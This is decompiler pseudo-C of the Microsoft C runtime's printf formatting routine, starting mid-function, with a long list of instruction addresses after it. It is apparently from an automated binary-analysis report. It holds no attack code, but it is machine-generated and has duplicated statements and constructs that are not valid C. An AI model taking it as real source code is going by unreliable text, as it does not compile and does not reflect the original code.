																							case 5:
																								goto L24;
																						}
																					case 3:
																						L25:
																						__edx =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							__eax =  *(__ebp - 0x18);
																							__eax =  *(__ebp - 0x18) * 0xa;
																							__ecx =  *((char*)(__ebp - 0x251));
																							_t87 = __ecx - 0x30; // -48
																							__edx = __eax + _t87;
																							 *(__ebp - 0x18) = __eax + _t87;
																						} else {
																							__eax = __ebp + 0x14;
																							 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
																							if( *(__ebp - 0x18) < 0) {
																								__ecx =  *(__ebp - 0x10);
																								__ecx =  *(__ebp - 0x10) | 0x00000004;
																								 *(__ebp - 0x10) = __ecx;
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																							}
																						}
																						L30:
																						goto L209;
																					case 4:
																						L31:
																						 *(__ebp - 0x30) = 0;
																						goto L209;
																					case 5:
																						L32:
																						__eax =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																							_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																							__ecx =  *(__ebp - 0x30) * 0xa + _t98;
																							 *(__ebp - 0x30) = __ecx;
																						} else {
																							__ecx = __ebp + 0x14;
																							 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
																							if( *(__ebp - 0x30) < 0) {
																								 *(__ebp - 0x30) = 0xffffffff;
																							}
																						}
																						goto L209;
																					case 6:
																						L38:
																						__edx =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						if( *(__ebp - 0x308) > 0x2e) {
																							L61:
																							goto L209;
																						}
																						L39:
																						__ecx =  *(__ebp - 0x308);
																						_t106 = __ecx + 0x4282c8; // 0x7b7f9003
																						__edx =  *_t106 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M004282B4))) {
																							case 0:
																								L44:
																								__edx =  *(__ebp + 0xc);
																								__eax =  *( *(__ebp + 0xc));
																								if( *( *(__ebp + 0xc)) != 0x36) {
																									L47:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x33) {
																										L50:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x64) {
																											L56:
																											L58:
																											goto L61;
																										}
																										L51:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x69) {
																											goto L56;
																										}
																										L52:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx == 0x6f) {
																											goto L56;
																										}
																										L53:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x75) {
																											goto L56;
																										}
																										L54:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x78) {
																											goto L56;
																										}
																										L55:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx != 0x58) {
																											 *(__ebp - 0x25c) = 0;
																											goto L9;
																										}
																										goto L56;
																									}
																									L48:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x32) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L58;
																									}
																								}
																								L45:
																								__ecx =  *(__ebp + 0xc);
																								__edx =  *((char*)(__ecx + 1));
																								if( *((char*)(__ecx + 1)) != 0x34) {
																									goto L47;
																								} else {
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L58;
																								}
																							case 1:
																								L59:
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																								goto L61;
																							case 2:
																								L40:
																								__eax =  *(__ebp + 0xc);
																								__ecx =  *( *(__ebp + 0xc));
																								if(__ecx != 0x6c) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000010;
																									 *(__ebp - 0x10) = __ecx;
																								} else {
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																								}
																								goto L61;
																							case 3:
																								L60:
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																								goto L61;
																							case 4:
																								goto L61;
																						}
																					case 7:
																						goto L62;
																					case 8:
																						L21:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																						goto L24;
																					case 9:
																						L22:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																						goto L24;
																					case 0xa:
																						L20:
																						__ecx =  *(__ebp - 0x10);
																						__ecx =  *(__ebp - 0x10) | 0x00000001;
																						 *(__ebp - 0x10) = __ecx;
																						goto L24;
																					case 0xb:
																						L19:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																						goto L24;
																					case 0xc:
																						L23:
																						__ecx =  *(__ebp - 0x10);
																						__ecx =  *(__ebp - 0x10) | 0x00000008;
																						 *(__ebp - 0x10) = __ecx;
																						goto L24;
																					case 0xd:
																						L24:
																						goto L209;
																				}
																			}
																			L210:
																			 *(_t666 - 0x2ec) =  *(_t666 - 0x24c);
																			E0041AE30(_t666 - 0x40);
																			_t497 =  *(_t666 - 0x2ec);
																			goto L211;
																		}
																		L182:
																		if(( *(_t666 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t666 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t666 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t666 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t666 - 0x14)) = 0x20;
																						 *(_t666 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t666 - 0x14)) = 0x2b;
																					 *(_t666 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t666 - 0x14)) = 0x2d;
																				 *(_t666 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t666 - 0x2bc)) =  *((intOrPtr*)(_t666 - 0x18)) -  *((intOrPtr*)(_t666 - 0x24)) -  *(_t666 - 0x1c);
																		if(( *(_t666 - 0x10) & 0x0000000c) == 0) {
																			E00435730(0x20,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																		}
																		E00435770( *(_t666 - 0x1c), _t666 - 0x14,  *(_t666 - 0x1c),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																		_t669 = _t669 + 0x10;
																		if(( *(_t666 - 0x10) & 0x00000008) != 0 && ( *(_t666 - 0x10) & 0x00000004) == 0) {
																			E00435730(0x30,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																		}
																		if( *(_t666 - 0xc) == 0 ||  *((intOrPtr*)(_t666 - 0x24)) <= 0) {
																			L203:
																			E00435770( *((intOrPtr*)(_t666 - 4)),  *((intOrPtr*)(_t666 - 4)),  *((intOrPtr*)(_t666 - 0x24)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																			goto L204;
																		} else {
																			L196:
																			 *(_t666 - 0x2d4) = 0;
																			 *((intOrPtr*)(_t666 - 0x2c0)) =  *((intOrPtr*)(_t666 - 4));
																			 *((intOrPtr*)(_t666 - 0x2c4)) =  *((intOrPtr*)(_t666 - 0x24));
																			while(1) {
																				L197:
																				 *((intOrPtr*)(_t666 - 0x2c4)) =  *((intOrPtr*)(_t666 - 0x2c4)) - 1;
																				if( *((intOrPtr*)(_t666 - 0x2c4)) == 0) {
																					break;
																				}
																				L198:
																				 *(_t666 - 0x316) =  *((intOrPtr*)( *((intOrPtr*)(_t666 - 0x2c0))));
																				_t532 = E00434240(_t666 - 0x2c8, _t666 - 0x2d0, 6,  *(_t666 - 0x316) & 0x0000ffff);
																				_t669 = _t669 + 0x10;
																				 *(_t666 - 0x2d4) = _t532;
																				 *((intOrPtr*)(_t666 - 0x2c0)) =  *((intOrPtr*)(_t666 - 0x2c0)) + 2;
																				if( *(_t666 - 0x2d4) != 0 ||  *((intOrPtr*)(_t666 - 0x2c8)) == 0) {
																					L200:
																					 *(_t666 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L201:
																					E00435770( *((intOrPtr*)(_t666 + 8)), _t666 - 0x2d0,  *((intOrPtr*)(_t666 - 0x2c8)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																					_t669 = _t669 + 0x10;
																					continue;
																				}
																			}
																			L202:
																			L204:
																			if( *(_t666 - 0x24c) >= 0 && ( *(_t666 - 0x10) & 0x00000004) != 0) {
																				E00435730(0x20,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																				_t669 = _t669 + 0x10;
																			}
																			goto L207;
																		}
																		L62:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x30c) = __ecx;
																		__edx =  *(__ebp - 0x30c);
																		__edx =  *(__ebp - 0x30c) - 0x41;
																		 *(__ebp - 0x30c) = __edx;
																	} while ( *(__ebp - 0x30c) > 0x37);
																	_t147 =  *(__ebp - 0x30c) + 0x428334; // 0xcccccc0d
																	__ecx =  *_t147 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M004282F8))) {
																		case 0:
																			L114:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L115;
																		case 1:
																			L64:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L66;
																		case 2:
																			L79:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L81;
																		case 3:
																			L137:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L139;
																		case 4:
																			L72:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x284) = E00428370(__ebp + 0x14);
																			if( *(__ebp - 0x284) == 0) {
																				L74:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																				L78:
																				goto L181;
																			}
																			L73:
																			__ecx =  *(__ebp - 0x284);
																			if( *((intOrPtr*)( *(__ebp - 0x284) + 4)) != 0) {
																				L75:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x284);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x284);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x284);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x284);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L78;
																			}
																			goto L74;
																		case 5:
																			L115:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L117:
																				if( *(__ebp - 0x30) != 0) {
																					L120:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L122:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B8D0(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					_t274 = __eax - 8; // 0xe852f855
																					__ecx =  *_t274;
																					_t275 = __eax - 4; // 0xbc20
																					__edx =  *_t275;
																					 *(__ebp - 0x2a0) =  *_t274;
																					 *(__ebp - 0x29c) =  *_t275;
																					__ecx = __ebp - 0x40;
																					_push(E0041AE60(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a0;
																					_push(__ebp - 0x2a0);
																					__eax =  *0x440374; // 0xf86dff92
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE60(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xa86dfc78
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE60(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0x886dfc7f
																							E004246D0(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																					goto L181;
																				}
																				L118:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L120;
																				}
																				L119:
																				 *(__ebp - 0x30) = 1;
																				goto L122;
																			}
																			L116:
																			 *(__ebp - 0x30) = 6;
																			goto L122;
																		case 6:
																			L66:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428370(__ebp + 0x14);
																				 *(__ebp - 0x280) = __ax;
																				__cl =  *(__ebp - 0x280);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x27c) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E004283B0(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x27c) = E00434240(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x27c) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L181;
																		case 7:
																			L135:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L144;
																		case 8:
																			L100:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x294) = E00428370(__ebp + 0x14);
																			if(E00433F20() != 0) {
																				L110:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x294);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x294);
																					 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L181;
																			}
																			L101:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x314) = 0;
																			} else {
																				 *(__ebp - 0x314) = 1;
																			}
																			__eax =  *(__ebp - 0x314);
																			 *(__ebp - 0x298) =  *(__ebp - 0x314);
																			if( *(__ebp - 0x298) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E390();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x298) != 0) {
																				L109:
																				goto L181;
																			} else {
																				L108:
																				 *((intOrPtr*)(L00422E80(__ecx))) = 0x16;
																				__eax = E00422C10(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2e8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AE30(__ecx);
																				__eax =  *(__ebp - 0x2e8);
																				goto L211;
																			}
																		case 9:
																			L142:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L144;
																		case 0xa:
																			L136:
																			 *(__ebp - 0x30) = 8;
																			goto L137;
																		case 0xb:
																			L81:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x310) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x310) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x310);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428370(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L92:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x288) =  *(__ebp - 4);
																				while(1) {
																					L95:
																					__ecx =  *(__ebp - 0x28c);
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L96:
																					__eax =  *(__ebp - 0x288);
																					__ecx =  *( *(__ebp - 0x288));
																					if(__ecx == 0) {
																						break;
																					}
																					L97:
																					 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																					 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																				}
																				L98:
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x288) -  *(__ebp - 4);
																				goto L99;
																			} else {
																				L85:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x290) =  *(__ebp - 4);
																				while(1) {
																					L88:
																					__edx =  *(__ebp - 0x28c);
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					if( *(__ebp - 0x28c) == 0) {
																						break;
																					}
																					L89:
																					__ecx =  *(__ebp - 0x290);
																					__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L90:
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																				}
																				L91:
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L99:
																				goto L181;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L138:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L139:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L144;
																		case 0xe:
																			goto L181;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00427d3c
0x00427d3c
0x00427d3c
0x00427d3c
0x00427d3c
0x00000000
0x00427dab
0x00000000
0x00427dab
0x00000000
0x00427dab
0x00427dab
0x00427db3
0x00427dd5
0x00427ddb
0x00427e00
0x00427e47
0x00427e4a
0x00427e6b
0x00427e70
0x00427e75
0x00427e7b
0x00427e4c
0x00427e50
0x00427e55
0x00427e58
0x00427e59
0x00427e5f
0x00427e5f
0x00427e02
0x00427e05
0x00427e08
0x00427e2a
0x00427e2f
0x00427e35
0x00427e36
0x00427e3c
0x00427e0a
0x00427e0e
0x00427e13
0x00427e17
0x00427e18
0x00427e1e
0x00427e1e
0x00427e42
0x00427ddd
0x00427de1
0x00427de6
0x00427de9
0x00427def
0x00427def
0x00427db5
0x00427db9
0x00427dbe
0x00427dc1
0x00427dc7
0x00427dc7
0x00427e87
0x00427ec9
0x00427ecf
0x00427edb
0x00000000
0x00427e89
0x00427e89
0x00427e89
0x00427e90
0x00000000
0x00427e9d
0x00427e9d
0x00427eab
0x00427eb0
0x00427eb6
0x00427ec4
0x00427ee1
0x00427ee9
0x00427f0b
0x00427f0b
0x00427f15
0x00427f26
0x00427f30
0x00427f32
0x00427f32
0x00427f17
0x00427f17
0x00427f17
0x00427f45
0x00427f47
0x00427f47
0x00427f51
0x00427f54
0x00427f54
0x00427f5a
0x00427f5d
0x00427f62
0x00000000
0x00000000
0x00427f72
0x00427f75
0x00427f7f
0x00427f8e
0x00427f97
0x00427fad
0x00427fb3
0x00427fc0
0x00427fce
0x00427fce
0x00427fdd
0x00427fe5
0x00427fe5
0x00427fed
0x00427ff3
0x00427ffc
0x00428008
0x00428021
0x00428027
0x00428030
0x00428030
0x00000000
0x00428033
0x00000000
0x00428033
0x00000000
0x00428033
0x00000000
0x00428033
0x00000000
0x00428033
0x00000000
0x00428033
0x00000000
0x00428033
0x00428033
0x00428033
0x00428037
0x0042821e
0x00428222
0x0042822a
0x0042822f
0x00428232
0x00428232
0x00428239
0x00428239
0x004273bf
0x004273d2
0x004273d7
0x00000000
0x004273ea
0x004273f4
0x0042741b
0x00427402
0x00427413
0x00427413
0x004273f4
0x00427425
0x0042742b
0x0042743d
0x00427448
0x00427454
0x00427461
0x00000000
0x00000000
0x00427467
0x0042746d
0x00000000
0x00427474
0x00427474
0x0042748c
0x00427491
0x00427496
0x00427550
0x00427563
0x00427568
0x00000000
0x0042749c
0x004274af
0x004274b4
0x004274ba
0x004274bc
0x004274c5
0x004274c8
0x004274d4
0x004274d8
0x004274de
0x004274e0
0x004274e5
0x004274e7
0x004274ec
0x004274f1
0x004274f3
0x004274f8
0x004274fe
0x00427500
0x00427500
0x004274fe
0x00427501
0x00427508
0x00000000
0x0042750a
0x0042750f
0x0042752b
0x00427533
0x00427540
0x00427545
0x00428258
0x00428265
0x00428265
0x00427508
0x00000000
0x00427570
0x00427570
0x00427577
0x0042757a
0x0042757d
0x00427580
0x00427583
0x00427586
0x00427589
0x00427590
0x00427597
0x00000000
0x00000000
0x004275a3
0x004275a3
0x004275aa
0x004275b6
0x004275b9
0x004275c6
0x00000000
0x00000000
0x004275c8
0x004275c8
0x004275ce
0x004275ce
0x004275d5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427618
0x00427618
0x00427622
0x0042764c
0x0042764f
0x00427652
0x00427659
0x00427659
0x0042765d
0x00427624
0x00427624
0x00427630
0x00427637
0x00427639
0x0042763c
0x0042763f
0x00427645
0x00427647
0x00427647
0x0042764a
0x00427660
0x00000000
0x00000000
0x00427665
0x00427665
0x00000000
0x00000000
0x00427671
0x00427671
0x0042767b
0x0042769e
0x004276a8
0x004276a8
0x004276ac
0x0042767d
0x0042767d
0x00427689
0x00427690
0x00427692
0x00427692
0x00427699
0x00000000
0x00000000
0x004276b4
0x004276b4
0x004276bb
0x004276c7
0x004276ca
0x004276d7
0x004277ea
0x00000000
0x004277ea
0x004276dd
0x004276dd
0x004276e3
0x004276e3
0x004276ea
0x00000000
0x00427720
0x00427720
0x00427723
0x00427729
0x00427751
0x00427751
0x00427754
0x0042775a
0x0042777f
0x0042777f
0x00427782
0x00427788
0x004277c1
0x004277d2
0x00000000
0x004277d2
0x0042778a
0x0042778a
0x0042778d
0x00427793
0x00000000
0x00000000
0x00427795
0x00427795
0x00427798
0x0042779e
0x00000000
0x00000000
0x004277a0
0x004277a0
0x004277a3
0x004277a9
0x00000000
0x00000000
0x004277ab
0x004277ab
0x004277ae
0x004277b4
0x00000000
0x00000000
0x004277b6
0x004277b6
0x004277b9
0x004277bf
0x004277c3
0x00000000
0x004277c3
0x00000000
0x004277bf
0x0042775c
0x0042775c
0x0042775f
0x00427766
0x00000000
0x00427768
0x0042776b
0x0042776e
0x00427771
0x00427774
0x0042777a
0x00000000
0x0042777a
0x00427766
0x0042772b
0x0042772b
0x0042772e
0x00427735
0x00000000
0x00427737
0x0042773a
0x0042773d
0x00427740
0x00427743
0x00427749
0x00000000
0x00427749
0x00000000
0x004277d4
0x004277d7
0x004277da
0x00000000
0x00000000
0x004276f1
0x004276f1
0x004276f4
0x004276fa
0x00427712
0x00427715
0x00427718
0x004276fc
0x004276ff
0x00427702
0x00427708
0x0042770d
0x0042770d
0x00000000
0x00000000
0x004277df
0x004277e2
0x004277e7
0x00000000
0x00000000
0x00000000
0x00000000
